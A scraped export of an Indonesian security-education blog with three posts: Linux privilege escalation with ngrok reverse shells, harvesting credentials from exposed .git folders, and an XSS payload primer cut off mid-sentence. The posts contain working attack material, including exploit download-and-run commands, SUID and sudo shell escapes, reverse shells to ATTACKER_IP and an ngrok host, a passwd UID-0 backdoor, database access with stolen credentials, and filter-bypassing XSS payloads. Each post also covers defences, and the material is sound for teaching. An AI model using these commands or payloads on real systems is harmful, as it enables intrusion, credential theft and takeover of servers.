sudah lawas sering punya vulnerability yang bisa dieksploitasi untuk privilege escalation. Misalnya kernel versi 3.x atau 4.x awal yang sudah ada CVE-nya.\nCek SUID Binary find / -perm -u=s -type f 2\u0026gt;/dev/null Ini salah satu command paling penting dalam enumeration. SUID (Set User ID) binary adalah file executable yang berjalan dengan privilege pemiliknya, bukan privilege user yang menjalankannya. Kalau ada binary SUID yang dimiliki root dan bisa dimanfaatkan, itu bisa jadi jalan menuju root.\nContoh output yang menarik:\n/usr/bin/pkexec /usr/bin/sudo /usr/bin/passwd /usr/bin/find /usr/bin/python3 /usr/bin/vim Kalau pkexec, find, python3, atau vim punya bit SUID, itu sudah jadi jalur escalation yang sangat potensial.\nMengapa Hacker Mencari GCC? which gcc gcc --version GCC (GNU Compiler Collection) adalah compiler untuk bahasa C. Kenapa ini penting? Karena banyak exploit untuk privilege escalation ditulis dalam bahasa C dan perlu di-compile langsung di server target.\nKalau gcc tersedia di server, attacker bisa:\nDownload source code exploit (misalnya kernel exploit) Compile langsung di server target Jalankan exploit-nya untuk mendapatkan root Contoh skenario nyata:\n# Download exploit wget https://example.com/exploit.c -O /tmp/exploit.c # Compile dengan gcc gcc /tmp/exploit.c -o /tmp/exploit # Jalankan chmod +x /tmp/exploit /tmp/exploit # Kalau berhasil: # root@server:~# Kalau gcc tidak ada, bukan berarti jalan buntu. Tapi prosesnya jadi lebih ribet karena harus cross-compile di mesin lain dan transfer binary-nya ke server target. Makanya attacker selalu senang kalau nemu gcc sudah terinstall wkwkwk.\nMengapa Hacker Mencari Python? which python python3 python --version python3 --version Python dicari karena beberapa alasan:\nPertama, Python bisa dipakai untuk spawning proper TTY shell. Shell yang didapat dari exploit web biasanya \u0026ldquo;jelek\u0026rdquo; dan terbatas. Dengan Python, shell bisa di-upgrade jadi interactive:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Sebelum command di atas, shell biasanya tidak bisa pakai sudo, tidak bisa pakai su, tidak ada tab completion, dan kalau tekan Ctrl+C malah mati koneksinya. Setelah spawn PTY, shell jadi jauh lebih fungsional.\nKedua, Python bisa dipakai untuk menjalankan exploit yang ditulis dalam Python tanpa perlu compile apapun.\nKetiga, kalau Python punya capability khusus atau bit SUID, itu langsung jadi jalur escalation:\n# Kalau python3 punya SUID bit python3 -c \u0026#39;import os; os.setuid(0); os.system(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Command di atas langsung memberikan shell root kalau Python punya SUID bit. Sesimpel itu.\nMengapa Hacker Mencari Pkexec? which pkexec pkexec --version Pkexec adalah bagian dari PolicyKit yang fungsinya memungkinkan user biasa menjalankan program sebagai user lain (termasuk root) dengan otorisasi tertentu. Kenapa ini jadi incaran?\nKarena ada vulnerability legendaris yang dikenal sebagai PwnKit (CVE-2021-4034). Vulnerability ini ada di hampir semua distribusi Linux yang menggunakan pkexec, dan eksploitasinya relatif mudah.\n# Cek apakah pkexec vulnerable pkexec --version # PolicyKit versi di bawah 0.120 biasanya masih vulnerable Exploit PwnKit bekerja dengan memanfaatkan bug di cara pkexec menangani argc (argument count). Kalau pkexec dipanggil dengan argc = 0 (tanpa argument sama sekali), terjadi out-of-bounds read yang bisa dimanfaatkan untuk menulis environment variable berbahaya yang akhirnya memberikan shell root.\nYang membuat PwnKit sangat populer adalah:\nHampir universal karena pkexec terinstall default di banyak distro Tidak perlu konfigurasi khusus untuk dieksploitasi Exploit-nya sangat reliable dengan tingkat keberhasilan yang tinggi Banyak PoC yang tersedia dan mudah dijalankan # Contoh eksploitasi PwnKit (simplified) # Download PoC curl -fsSL https://example.com/pwnkit -o /tmp/pwnkit # Jalankan chmod +x /tmp/pwnkit /tmp/pwnkit # Output: # root@server:/tmp# Dari user biasa langsung jadi root dalam hitungan detik. Serem kan wkwkwk.\nTool Lain yang Dicari Selain tiga besar di atas (gcc, python, pkexec), berikut beberapa binary dan tool lain yang juga dicari saat enumeration:\n# Perl (alternatif Python untuk spawn shell dan exploit) which perl # Wget dan Curl (untuk download exploit) which wget curl # Netcat (untuk reverse shell dan transfer file) which nc ncat netcat # Sudo (cek apakah user bisa menjalankan command sebagai root) sudo -l # Crontab (cek scheduled task yang bisa dimanfaatkan) cat /etc/crontab ls -la /etc/cron.* # Writable directories (tempat menyimpan exploit) find / -writable -type d 2\u0026gt;/dev/null # Capabilities (privilege khusus pada binary tertentu) getcap -r / 2\u0026gt;/dev/null Automated Enumeration Tools Buat yang mau otomatis, ada beberapa tool populer yang menjalankan semua pengecekan di atas secara otomatis:\nLinPEAS adalah yang paling lengkap:\n# Download dan jalankan LinPEAS curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh LinPEAS akan mengecek ratusan vektor privilege escalation dan memberikan output berwarna di mana merah berarti \u0026ldquo;ini sangat mungkin bisa diexploit\u0026rdquo;. Sangat membantu untuk attacker maupun defender.\nLinEnum adalah alternatif yang lebih ringkas:\n./LinEnum.sh -t Teknik Privilege Escalation yang Umum Setelah fase enumeration selesai dan informasi sudah terkumpul, berikut beberapa teknik privilege escalation yang paling sering ditemui di lapangan.\n1. Kernel Exploit Kalau kernel-nya sudah tua dan punya CVE yang diketahui, ini adalah jalur paling langsung. Attacker tinggal cari exploit yang sesuai dengan versi kernel, compile (kalau gcc tersedia), dan jalankan.\n# Cek versi kernel uname -r # Output: 4.15.0-20-generic # Cari exploit yang cocok di ExploitDB atau Google # Download, compile, jalankan Contoh kernel exploit terkenal:\nDirtyCow (CVE-2016-5195) untuk kernel 2.x sampai 4.x DirtyPipe (CVE-2022-0847) untuk kernel 5.8 sampai 5.16 GameOver(lay) (CVE-2023-2640) untuk Ubuntu kernel 2. SUID Abuse Kalau ada binary SUID yang bisa dimanfaatkan, situs GTFOBins adalah referensi lengkap yang menjelaskan cara memanfaatkan setiap binary untuk escalation.\n# Contoh: find dengan SUID find . -exec /bin/bash -p \\; -quit # Contoh: vim dengan SUID vim -c \u0026#39;:!/bin/bash\u0026#39; # Contoh: nmap versi lama dengan SUID nmap --interactive !sh 3. Sudo Misconfiguration sudo -l Kalau output menunjukkan bahwa user bisa menjalankan command tertentu sebagai root tanpa password, itu adalah emas murni. Contoh:\nUser www-data may run the following commands: (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/python3 Dari situ tinggal manfaatkan:\n# Sudo python3 sudo python3 -c \u0026#39;import os; os.system(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Sudo vim sudo vim -c \u0026#39;:!/bin/bash\u0026#39; # Sudo find sudo find / -exec /bin/bash \\; -quit 4. Cron Job Exploitation Kalau ada cron job yang berjalan sebagai root dan file script-nya bisa ditulis oleh user biasa:\n# Cek crontab cat /etc/crontab # Misalnya ada entry: # * * * * * root /opt/scripts/backup.sh # Cek permission ls -la /opt/scripts/backup.sh # -rwxrwxrwx 1 root root ... (writable oleh siapa saja!) # Tambahkan reverse shell ke script echo \u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/4444 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt;\u0026gt; /opt/scripts/backup.sh # Tunggu cron jalan, dapat shell root 5. Writable /etc/passwd Di beberapa server yang misconfigured, file /etc/passwd bisa ditulis oleh user biasa. Kalau itu terjadi, tinggal tambahkan user baru dengan UID 0:\n# Generate password hash openssl passwd -1 -salt xyz password123 # Tambahkan ke /etc/passwd echo \u0026#39;hacker:$1$xyz$hash_disini:0:0:root:/root:/bin/bash\u0026#39; \u0026gt;\u0026gt; /etc/passwd # Login sebagai user baru su hacker # Password: password123 # root@server:# Backconnect dengan Ngrok Nah ini bagian yang juga banyak ditanyakan. Apa itu backconnect dan kenapa pakai ngrok?\nMasalah: NAT dan Firewall Dalam banyak skenario, mesin attacker berada di belakang NAT (Network Address Translation). Artinya mesin attacker tidak punya IP publik yang bisa dijangkau langsung dari internet. Ini adalah masalah klasik untuk reverse shell karena server target perlu mengirimkan koneksi balik ke mesin attacker, tapi tidak bisa menjangkaunya karena terhalang NAT.\nIlustrasinya begini:\n[Server Target] ---koneksi balik---\u0026gt; [NAT/Router] ---\u0026gt; [Mesin Attacker] ^ | Koneksi diblok! IP private tidak bisa dijangkau dari luar Solusi: Ngrok sebagai Tunnel Ngrok adalah layanan tunneling yang membuat tunnel dari internet publik ke mesin lokal. Dengan ngrok, mesin yang berada di belakang NAT bisa \u0026ldquo;terexpose\u0026rdquo; ke internet melalui subdomain ngrok.\n[Server Target] ---\u0026gt; [Ngrok Cloud] ---\u0026gt; [Tunnel] ---\u0026gt; [Mesin Attacker] (di belakang NAT) Jadi meskipun mesin attacker tidak punya IP publik, server target bisa mengirimkan koneksi balik melalui alamat yang disediakan ngrok.\nLangkah-Langkah Backconnect dengan Ngrok Step 1: Install dan Setup Ngrok\n# Download ngrok (di mesin attacker) # Bisa dari https://ngrok.com/download # Autentikasi (perlu akun ngrok, gratis) ngrok config add-authtoken TOKEN_DARI_DASHBOARD_NGROK Step 2: Buat TCP Tunnel\n# Buka tunnel TCP di port 4444 ngrok tcp 4444 Output ngrok akan menampilkan sesuatu seperti:\nSession Status online Forwarding tcp://0.tcp.ngrok.io:12345 -\u0026gt; localhost:4444 Catat alamat 0.tcp.ngrok.io dan port 12345. Ini yang akan dipakai di payload reverse shell.\nStep 3: Siapkan Listener\nDi terminal lain (masih di mesin attacker), jalankan netcat sebagai listener:\nnc -lvnp 4444 Listener ini menunggu koneksi masuk di port 4444, yang merupakan port lokal yang sudah di-tunnel oleh ngrok.\nStep 4: Eksekusi Reverse Shell di Server Target\nDi server target, jalankan payload reverse shell yang mengarah ke alamat ngrok (bukan ke IP attacker langsung):\n# Bash reverse shell via ngrok bash -i \u0026gt;\u0026amp; /dev/tcp/0.tcp.ngrok.io/12345 0\u0026gt;\u0026amp;1 Atau kalau pakai Python:\npython3 -c \u0026#39;import socket,subprocess,os;s=socket.socket();s.connect((\u0026#34;0.tcp.ngrok.io\u0026#34;,12345));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\u0026#34;/bin/bash\u0026#34;,\u0026#34;-i\u0026#34;])\u0026#39; Atau pakai Netcat:\nnc 0.tcp.ngrok.io 12345 -e /bin/bash Step 5: Terima Koneksi\nKalau semua berjalan lancar, di terminal listener (nc -lvnp 4444) akan muncul shell dari server target:\nConnection received! www-data@target-server:/$ Sekarang sudah punya shell di server target, meskipun mesin attacker berada di belakang NAT wkwkwkwkwk.\nAlur Lengkap Backconnect via Ngrok 1. Attacker jalankan: ngrok tcp 4444 -\u0026gt; Dapat alamat: 0.tcp.ngrok.io:12345 2. Attacker jalankan: nc -lvnp 4444 -\u0026gt; Listener siap menerima koneksi 3. Di server target, jalankan reverse shell ke 0.tcp.ngrok.io:12345 -\u0026gt; Koneksi keluar dari server target 4. Koneksi masuk ke ngrok cloud -\u0026gt; Ngrok forward ke localhost:4444 milik attacker 5. Listener nc menerima koneksi -\u0026gt; Shell didapat! 6. Attacker upgrade shell: python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; -\u0026gt; Interactive shell siap digunakan Kenapa Ngrok Populer untuk Backconnect? Gratis untuk penggunaan dasar (cukup untuk satu tunnel TCP) Tidak perlu IP publik karena ngrok yang menyediakan Tidak perlu konfigurasi router atau port forwarding Setup cepat dan bisa langsung dipakai dalam hitungan menit Cross-platform karena tersedia untuk Windows, Linux, dan macOS Alternatif Ngrok Selain ngrok, ada beberapa alternatif lain yang sering dipakai:\nTool Kelebihan Kekurangan Ngrok Mudah, cepat, populer Gratis terbatas 1 tunnel Serveo Gratis, tanpa install Kadang down Localtunnel Open source Kurang stabil Bore Self-hosted, ringan Perlu setup server sendiri Chisel TCP tunnel, open source Perlu binary di kedua sisi Bagaimana Cara Melindungi Server? Setelah paham bagaimana serangan bekerja, sekarang saatnya bahas pertahanan. Karena ilmu security itu dua arah, paham menyerang supaya lebih paham cara bertahan.\n1. Update dan Patch Secara Rutin # Untuk Debian/Ubuntu apt update \u0026amp;\u0026amp; apt upgrade -y # Untuk RHEL/CentOS yum update -y Kernel exploit dan PwnKit hanya bekerja di versi yang belum dipatch. Rajin update adalah pertahanan paling dasar tapi paling efektif.\n2. Audit SUID Binary # Cari semua SUID binary find / -perm -u=s -type f 2\u0026gt;/dev/null # Hapus SUID bit dari binary yang tidak perlu chmod u-s /path/to/unnecessary/binary 3. Konfigurasi Sudo dengan Benar Jangan pernah memberikan NOPASSWD untuk binary yang bisa spawn shell. Selalu gunakan prinsip least privilege.\n4. Hapus Tools yang Tidak Diperlukan # Kalau server tidak perlu gcc apt remove gcc # Kalau server tidak perlu netcat apt remove netcat Server produksi idealnya tidak memiliki compiler atau debugging tools yang terinstall. Semakin sedikit tools yang tersedia, semakin sulit bagi attacker untuk melakukan escalation.\n5. Monitor Koneksi Keluar Reverse shell dan backconnect ngrok bergantung pada koneksi keluar dari server. Firewall yang membatasi outbound connection bisa mencegah teknik ini:\n# Contoh iptables: hanya izinkan koneksi keluar ke port 80 dan 443 iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT iptables -A OUTPUT -p tcp -j DROP 6. Gunakan SELinux atau AppArmor Security module seperti SELinux dan AppArmor menambahkan lapisan proteksi tambahan yang membatasi apa yang bisa dilakukan oleh setiap proses, bahkan oleh root sekalipun.\nRingkasan Jadi kalau dirangkum secara sederhana, alur dari \u0026ldquo;masuk server\u0026rdquo; sampai \u0026ldquo;jadi root\u0026rdquo; itu kira-kira begini:\nInitial Access (masuk lewat vulnerability/credential) ↓ Enumeration (cek gcc, python, pkexec, SUID, kernel, sudo) ↓ Privilege Escalation (exploit kernel, SUID abuse, PwnKit, sudo misconfig) ↓ Root Access (uid=0, full control) Dan untuk backconnect:\nAttacker di belakang NAT ↓ Pakai ngrok untuk buat tunnel TCP ↓ Jalankan reverse shell di target mengarah ke alamat ngrok ↓ Koneksi di-forward ke mesin attacker ↓ Shell didapat Semuanya saling terhubung dan membentuk satu rangkaian serangan yang utuh. Pahami prosesnya, dan pertahanan bisa dibangun dengan lebih baik. Karena pada akhirnya, memahami cara kerja serangan adalah langkah pertama untuk bisa mencegahnya.\nDisclaimer\nSeluruh materi dalam artikel ini dibuat murni untuk tujuan edukasi dan keamanan informasi. Teknik yang dijelaskan hanya boleh dipraktikkan pada sistem milik sendiri, lingkungan lab yang sudah disiapkan untuk pengujian, jangan sikat web orang juga wkwkwk.\nJangan pernah menjalankan teknik ini ke sistem yang bukan milik sendiri atau yang tidak memiliki izin eksplisit untuk diuji. Mengeksploitasi sistem tanpa izin adalah tindakan ilegal dan bisa dikenai sanksi hukum.\nedu.ravxytech.my.id hadir untuk berbagi pengetahuan seputar teknologi dan cyber security secara bertanggung jawab.\n","permalink":"https://edu.ravxytech.my.id/posts/root-server-privilege-escalation/","summary":"\u003cp\u003eBelakangan ini timeline lagi rame banget soal peretasan server yang berujung dapet akses root. Berita di sana-sini, forum underground makin ramai, dan banyak yang penasaran sebenernya gimana sih prosesnya sampai seseorang bisa \u0026ldquo;menguasai\u0026rdquo; sebuah server secara penuh.\u003c/p\u003e\n\u003cp\u003eArtikel ini bakal ngebahas tuntas mulai dari apa itu root, bagaimana proses escalation dari user biasa jadi root, sampai teknik backconnect pakai ngrok buat dapetin shell dari balik NAT. Semua dijelasin dari sudut pandang edukasi, intinya siapin kopi + rokok ae wkwkwk.\u003c/p\u003e","title":"Rooting Server: Cara Hacker Naik Level dari User Biasa ke Admin Penuh"},{"content":"Banyak developer yang tidak sadar bahwa proses deployment mereka meninggalkan sesuatu yang tidak seharusnya ada di server publik: folder .git. Folder ini adalah jantung dari version control Git, berisi riwayat lengkap semua perubahan kode, pesan commit, branch, bahkan file konfigurasi yang mungkin menyimpan hal-hal sensitif seperti kredensial database, API key, atau password admin.\nKalau folder ini bisa diakses siapa saja lewat browser, maka semua isi repositori bisa diunduh dan dipelajari oleh siapapun, termasuk yang tidak punya hak akses sama sekali.\nKenapa Ini Bisa Terjadi Git bekerja dengan menyimpan seluruh riwayat repositori di dalam satu folder bernama .git yang ada di root project. Saat developer melakukan deployment ke server web, kadang mereka langsung menyalin seluruh isi folder project termasuk folder .git itu sendiri ke dalam direktori publik web server.\nHasilnya, folder tersebut bisa diakses lewat URL seperti https://target.com/.git/ dan siapapun bisa membaca isinya. Ini bukan kerentanan pada Git-nya sendiri, melainkan kesalahan konfigurasi pada proses deployment yang membiarkan direktori internal ikut terpublish.\nYang membuat temuan ini lebih dari sekadar \u0026ldquo;bocor source code\u0026rdquo; adalah isi dari commit history dan file konfigurasi yang ada di dalamnya. Developer sering menyimpan kredensial langsung di file konfigurasi, lalu kemudian menggantinya di commit berikutnya. Tapi riwayat commit tetap menyimpan versi lama yang berisi kredensial tersebut, dan semuanya bisa dibaca.\nCara Menemukan Git yang Terekspos Ada beberapa cara untuk menemukan .git yang terbuka, dari yang paling manual sampai yang paling otomatis.\nAkses Manual\nCara paling sederhana adalah langsung membuka /.git/ di browser. Kalau server menampilkan directory listing atau file HEAD dan config bisa dibaca, maka .git tersebut terekspos.\nhttps://target.com/.git/ https://target.com/.git/HEAD https://target.com/.git/config DotGit Browser Extension\nAda ekstensi browser bernama DotGit yang tersedia untuk Firefox dan Chrome. Cara kerjanya sederhana: setiap kali mengunjungi sebuah website, ekstensi ini otomatis mengecek apakah .git di domain tersebut bisa diakses publik. Kalau terdeteksi, akan muncul notifikasi beserta opsi untuk langsung mengunduh repositorinya.\nFuzzing dengan Feroxbuster\nUntuk pendekatan yang lebih sistematis, bisa menggunakan tools seperti feroxbuster yang melakukan brute-force direktori dan file berdasarkan wordlist. Feroxbuster ditulis dalam Rust sehingga cepat dan efisien untuk scanning rekursif.\nferoxbuster -u https://target.com -w /usr/share/wordlists/dirb/common.txt Kalau .git muncul di hasil scan dengan status code 200 atau 403, itu sudah cukup jadi indikasi awal bahwa folder tersebut ada dan perlu diperiksa lebih lanjut.\nMengunduh Repositori dengan Wget Setelah memastikan bahwa .git memang bisa diakses, langkah berikutnya adalah mengunduh seluruh isinya. Perintah wget dengan opsi mirror bekerja dengan baik untuk ini karena secara rekursif mengunduh semua file yang ada di dalam folder tersebut.\nwget --mirror -I .git https://target.com/.git/ Penjelasan singkat dari masing-masing opsi yang dipakai: --mirror membuat wget mengunduh secara rekursif semua konten yang ada, sementara -I .git membatasi path yang diunduh hanya pada direktori .git saja sehingga tidak mengunduh halaman web lainnya.\nwget mengunduh seluruh isi folder .git dari target secara rekursif.\nSetelah proses unduhan selesai, wget akan membuat folder dengan nama domain target di direktori lokal. Masuk ke folder tersebut untuk melanjutkan proses analisis.\nMemulihkan File dari Git Setelah folder .git berhasil diunduh, langkah selanjutnya adalah memulihkan file-file yang tersimpan di dalam repositori tersebut. Pertama, cek dulu status repositori untuk melihat file apa saja yang tercatat.\ncd nama-target.com git status git status menampilkan daftar file yang tercatat di repositori tapi belum ada di direktori lokal.\nBiasanya akan terlihat daftar panjang file dengan status deleted. Artinya file-file tersebut tercatat di repositori Git tapi belum ada di direktori lokal karena yang diunduh hanya folder .git-nya saja, bukan working directory lengkapnya. Untuk memulihkan semua file tersebut, gunakan perintah berikut.\ngit restore . Setelah perintah ini dijalankan, semua file yang tercatat di repositori akan dipulihkan ke direktori lokal.\nSeluruh file berhasil dipulihkan. Beberapa file konfigurasi langsung terlihat menarik untuk diperiksa.\nDari hasil ls -la, struktur lengkap aplikasi sudah bisa dilihat. Ada folder application, assets, libs, file index.php, captcha.php, dan berbagai file lainnya. Untuk aplikasi yang menggunakan framework seperti CodeIgniter, folder application/config/ adalah tempat pertama yang perlu diperiksa karena di sanalah file konfigurasi database biasanya disimpan.\nMembaca File Konfigurasi File konfigurasi adalah tujuan utama dari proses pemulihan ini. Di aplikasi berbasis CodeIgniter misalnya, kredensial database disimpan di application/config/database.php.\nFile konfigurasi database berisi hostname, username, password, dan nama database secara lengkap.\nDari file ini bisa langsung terbaca hostname, username, password, dan nama database yang digunakan aplikasi. Informasi ini sudah cukup untuk mencoba koneksi langsung ke database jika port MySQL terbuka ke publik.\nMembaca Riwayat Commit Selain file konfigurasi yang ada sekarang, Git juga menyimpan seluruh riwayat perubahan. Ini sangat berguna karena developer kadang menyimpan kredensial di commit lama sebelum akhirnya menggantinya. Untuk melihat daftar semua commit yang ada di repositori, gunakan perintah berikut.\ngit log Output dari git log akan menampilkan daftar commit lengkap dengan hash, nama author, tanggal, dan pesan commit. Setiap pesan commit bisa memberikan petunjuk tentang perubahan apa yang dilakukan, misalnya \u0026ldquo;changed database password\u0026rdquo; atau \u0026ldquo;removed hardcoded credentials\u0026rdquo;.\nUntuk membaca detail perubahan di commit tertentu, gunakan hash commit yang didapat dari git log.\ngit show a1b2c3d4e5f6 Perintah ini akan menampilkan diff lengkap dari commit tersebut, termasuk baris-baris yang dihapus (ditandai dengan -) dan baris yang ditambahkan (ditandai dengan +). Dari sini bisa dilihat misalnya password lama yang sudah diganti, atau konfigurasi yang pernah ada di versi sebelumnya.\nAkses ke Database Dengan kredensial yang sudah didapat dari file konfigurasi, langkah selanjutnya adalah mencoba koneksi ke database. Perlu dicatat bahwa file konfigurasi biasanya menggunakan localhost sebagai hostname karena memang diasumsikan diakses dari server itu sendiri.\nNamun di beberapa kasus, ada file lain di repositori seperti Envoy.blade.php (untuk aplikasi Laravel) yang mendefinisikan server eksternal lengkap dengan IP-nya. Dari file seperti ini bisa didapat IP server yang sebenarnya.\nUntuk mencoba koneksi ke database menggunakan kredensial yang ditemukan:\nmysql -h IP_SERVER -u username -p Kalau koneksi berhasil, maka seluruh database target sudah bisa diakses. Dari sini bisa dilihat tabel apa saja yang ada, termasuk tabel user yang mungkin menyimpan akun administrator aplikasi.\nMitigasi Ada dua pendekatan untuk mengatasi masalah ini. Yang pertama dan paling bersih adalah tidak menyertakan folder .git sama sekali saat deployment ke server produksi. Gunakan pipeline CI/CD yang hanya mendeploy file yang diperlukan, bukan seluruh isi repositori.\nYang kedua adalah memblokir akses ke folder .git di level konfigurasi web server. Berikut konfigurasi untuk beberapa web server yang umum digunakan.\nUntuk Apache 2.4, tambahkan di httpd.conf atau file .htaccess:\n\u0026lt;DirectoryMatch \u0026#34;^/.*/\\.git/\u0026#34;\u0026gt; Require all denied \u0026lt;/DirectoryMatch\u0026gt; Untuk Apache 2.2, konfigurasinya sedikit berbeda:\n\u0026lt;DirectoryMatch \u0026#34;^/.*/\\.git/\u0026#34;\u0026gt; Order deny,allow Deny from all \u0026lt;/DirectoryMatch\u0026gt; Untuk Nginx, tambahkan di dalam blok server di nginx.conf:\nlocation ~ /\\.git { deny all; } Untuk Lighttpd, tambahkan modul access di konfigurasi:\nserver.modules += ( \u0026#34;mod_access\u0026#34; ) Selain memblokir akses, penting juga untuk melakukan audit pada repositori itu sendiri. Kalau pernah ada kredensial yang dicommit, meskipun sudah dihapus di commit berikutnya, commit lama tetap menyimpannya. Gunakan tools seperti git-secrets atau trufflehog untuk memindai riwayat commit dan mendeteksi apakah ada data sensitif yang pernah dicommit.\n# Scan repositori dengan trufflehog trufflehog git file://./ Temuan ini mungkin terlihat sederhana, tapi dampaknya bisa sangat serius. Dari satu folder .git yang terbuka, seorang penyerang bisa mendapatkan source code lengkap, riwayat seluruh perubahan, kredensial database, API key, dan berbagai informasi sensitif lainnya tanpa perlu mengeksploitasi satu vulnerability pun. Semua data itu memang sudah ada di sana, dan yang dibutuhkan hanya sebuah URL yang tepat.\nPeringatan\nSeluruh teknik yang dijelaskan dalam artikel ini hanya boleh dipraktikkan pada sistem yang kamu miliki sendiri, lingkungan lab yang sudah disiapkan untuk pengujian, atau dalam program bug bounty dengan scope yang jelas dan izin tertulis dari pemilik sistem. Mengakses sistem orang lain tanpa izin adalah tindakan ilegal dan bisa dikenai sanksi hukum.\nArtikel ini dibuat murni untuk keperluan edukasi keamanan siber di edu.ravxytech.my.id. Pahami risikonya, lakukan dengan bertanggung jawab.\n","permalink":"https://edu.ravxytech.my.id/posts/git-exposed-directory-disclosure/","summary":"\u003cp\u003eBanyak developer yang tidak sadar bahwa proses deployment mereka meninggalkan sesuatu yang tidak seharusnya ada di server publik: folder \u003ccode\u003e.git\u003c/code\u003e. Folder ini adalah jantung dari version control Git, berisi riwayat lengkap semua perubahan kode, pesan commit, branch, bahkan file konfigurasi yang mungkin menyimpan hal-hal sensitif seperti kredensial database, API key, atau password admin.\u003c/p\u003e\n\u003cp\u003eKalau folder ini bisa diakses siapa saja lewat browser, maka semua isi repositori bisa diunduh dan dipelajari oleh siapapun, termasuk yang tidak punya hak akses sama sekali.\u003c/p\u003e","title":"Git Exposed: Ketika Folder .git Terbuka untuk Umum"},{"content":"Banyak orang yang pertama kali belajar XSS bisa paham konsepnya dalam hitungan menit, tapi justru bingung kenapa payload mereka tidak pernah benar-benar berhasil di target nyata. Copy-paste \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt; ke form input, tidak ada yang terjadi. Coba lagi, tetap tidak ada. Akhirnya menyimpulkan bahwa target \u0026ldquo;tidak vulnerable\u0026rdquo;, padahal belum tentu.\nYang membedakan seseorang yang sekadar menghafal payload dengan yang benar-benar memahami XSS adalah satu hal: mengetahui mengapa sebuah payload bisa dieksekusi browser. Begitu itu dipahami, payload yang diblokir bukan lagi hambatan, melainkan undangan untuk berpikir lebih dalam.\nTiga Hal yang Membuat XSS Bekerja Setiap payload XSS yang berhasil, tidak peduli seberapa obfuscated, seberapa aneh encodingnya, atau seberapa baru tekniknya, selalu bergantung pada tiga hal: tag yang akan di-render browser, event yang terpicu saat sesuatu terjadi pada tag tersebut, dan atribut yang membawa kode JavaScript-nya. Dapatkan ketiganya dengan benar, dan browser akan menjalankan kodenya. Bukan karena keajaiban, tapi memang begitulah cara HTML parser bekerja.\nTag, event, dan atribut adalah tiga komponen yang selalu ada di setiap payload XSS yang berhasil.\nTag Tidak semua tag HTML bisa memicu JavaScript, tapi lebih banyak yang bisa dibandingkan perkiraan kebanyakan orang. Yang paling dikenal adalah \u0026lt;script\u0026gt;, masukkan kode JS di dalamnya, selesai. Masalahnya, setiap WAF dan sanitizer di dunia sudah memblokirnya secara otomatis. Jadi perlu alternatif.\n\u0026lt;img\u0026gt; adalah yang paling banyak terbukti di lapangan. Nilai src=x sengaja dibuat tidak valid sehingga browser mencoba memuat gambar tersebut, gagal, lalu memicu onerror. Di situlah eksekusi terjadi.\n\u0026lt;img src=x onerror=alert(1)\u0026gt; \u0026lt;svg\u0026gt; adalah favorit untuk bypass karena SVG memiliki parser sendiri yang berperilaku berbeda dari HTML parser, lebih toleran dan lebih fleksibel. Slash antara svg dan onload adalah sintaks yang valid dan sering luput dari filter WAF.\n\u0026lt;svg/onload=alert(1)\u0026gt; \u0026lt;details\u0026gt; dengan atribut open adalah trik yang masih sering lolos dari deteksi. Atribut open memaksa elemen langsung terbuka saat halaman dimuat, yang seketika memicu ontoggle tanpa perlu interaksi pengguna sama sekali.\n\u0026lt;details open ontoggle=alert(1)\u0026gt; Tag lain yang layak diketahui antara lain \u0026lt;video\u0026gt;, \u0026lt;input\u0026gt; dengan autofocus, dan \u0026lt;iframe\u0026gt; dengan pseudo-protokol JavaScript:\n\u0026lt;video src=x onerror=alert(1)\u0026gt; \u0026lt;input autofocus onfocus=alert(1)\u0026gt; \u0026lt;iframe src=\u0026#34;javascript:alert(1)\u0026#34;\u0026gt; Event: Pemicu Sebenarnya Tag saja tidak ada artinya. Event adalah yang mengubah HTML yang ter-render menjadi JavaScript yang berjalan. Event adalah atribut on* seperti onerror, onload, onfocus, ontoggle, dan sekitar seratusan lainnya. Pembagian paling penting dari sudut pandang penyerang adalah apakah sebuah event berjalan otomatis tanpa interaksi pengguna, atau membutuhkan interaksi seperti klik atau hover.\nEvent yang auto-trigger adalah yang paling berharga. onerror terpicu ketika resource gagal dimuat. onload terpicu ketika resource berhasil dimuat. onfocus dikombinasikan dengan autofocus membuat browser langsung memfokuskan elemen begitu halaman selesai di-render, sehingga XSS berjalan tanpa pengguna melakukan apapun. ontoggle dikombinasikan dengan open pada \u0026lt;details\u0026gt; bekerja dengan logika yang sama.\n\u0026lt;input autofocus onfocus=alert(1)\u0026gt; \u0026lt;details open ontoggle=alert(1)\u0026gt; Bayangkan stored XSS yang langsung berjalan begitu admin membuka halaman dashboard tanpa mengklik apapun. Itulah dampak nyata dari memilih event yang tepat.\nAtribut yang Membawa JavaScript Selain event handler on*, ada atribut tertentu yang bisa menampung JavaScript secara langsung. Yang paling umum adalah href=\u0026quot;javascript:...\u0026quot; pada tag \u0026lt;a\u0026gt;. Pseudo-protokol javascript: memberitahu browser untuk mengevaluasi apa yang ada setelahnya sebagai kode JS.\n\u0026lt;a href=\u0026#34;javascript:alert(document.cookie)\u0026#34;\u0026gt;Klik di sini\u0026lt;/a\u0026gt; Untuk keperluan bypass, beberapa variasi masih sering lolos dari filter. Pertama dengan case mixing, karena browser tidak peduli huruf besar atau kecil di dalam nilai atribut. Kedua dengan menyisipkan newline yang diencoding di antara protokol dan kode, yang bisa mengelabui filter yang melakukan pencocokan string secara naif.\n\u0026lt;a href=\u0026#34;jAvAsCrIpT:alert(1)\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;javascript://%0aalert(1)\u0026#34;\u0026gt; Menyusun Payload dari Prinsip Dasarnya Memahami ketiga komponen ini berarti payload bisa disusun dari awal, bukan sekadar mengandalkan cheatsheet. Mulai dari yang paling sederhana: jika tag \u0026lt;script\u0026gt; diblokir, ganti tagnya. Jika perlu auto-trigger, tambahkan atribut yang tepat. Jika injeksi terjadi di dalam konteks atribut HTML, keluar dulu dari konteks itu 